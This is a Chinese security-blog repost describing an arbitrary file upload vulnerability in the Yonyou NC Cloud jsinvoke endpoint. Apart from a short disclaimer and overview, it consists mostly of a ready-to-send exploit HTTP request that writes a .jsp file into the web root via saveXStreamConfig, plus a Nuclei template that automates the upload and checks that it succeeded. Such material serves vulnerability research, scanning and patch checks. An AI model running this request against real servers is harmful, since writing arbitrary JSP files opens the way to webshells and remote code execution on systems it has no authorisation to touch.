「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

admin 2024年1月11日11:37:33评论77 views字数 1381阅读4分36秒阅读模式

免责声明

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

此内容仅供技术交流与学习,请勿用于未经授权的场景。请遵循相关法律与道德规范。任何因使用本文所述技术而引发的法律责任,与本文作者及发布平台无关。如有内容争议或侵权,请及时联系我们。谢谢!

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

漏洞概述

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

       用友 NC Cloud 中存在 jsinvoke 接口的任意文件上传漏洞,攻击者可以通过利用此漏洞向系统上传任意恶意文件。

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

漏洞复现

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1Host: Content-Type: application/x-www-form-urlencoded;charset=UTF-8{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["123456","webapps/nc_web/2YIOmzdcUDhwMYTLk65p3cgxvxy.jsp"]}

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

NUCLEI POC

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

id: yonyou-nc-cloud-jsinvoke-uploadinfo:  name: 用友 NC Cloud jsinvoke 任意文件上传  author: rain  severity: critical  description: 用友 NC Cloud 中存在 jsinvoke 组件的任意文件上传漏洞,攻击者可以通过利用此漏洞向系统上传任意恶意文件。漏洞的根本问题在于未正确验证用户提交的文件,导致恶意攻击者可以绕过限制,向服务器上传包含恶意代码的文件。  metadata:    max-request: 2  tags: yonyou,rcevariables:  file_name: "{{to_lower(rand_text_alpha(8))}}"  file_content: "{{to_lower(rand_text_alpha(8))}}"http:  - raw:      - |        POST /uapjs/jsinvoke/?action=invoke HTTP/1.1        Host: {{Hostname}}        Content-Type: application/x-www-form-urlencoded;charset=UTF-8        {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",        "parameterTypes":["java.lang.Object","java.lang.String"],        "parameters":["{{file_content}}","webapps/nc_web/{{file_name}}.jsp"]}      - |        GET /{{file_name}}.jsp HTTP/1.1        Host: {{Hostname}}    matchers-condition: and      - type: dsl        dsl:          - status_code_1 == 200          - status_code_2 == 200 && contains(body_2,"{{file_content}}")

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

原文始发于微信公众号(知黑守白):「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日11:37:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   「漏洞复现」用友 NC Cloud jsinvoke 任意文件上传http://cn-sec.com/archives/2215240.html

发表评论

匿名网友 填写信息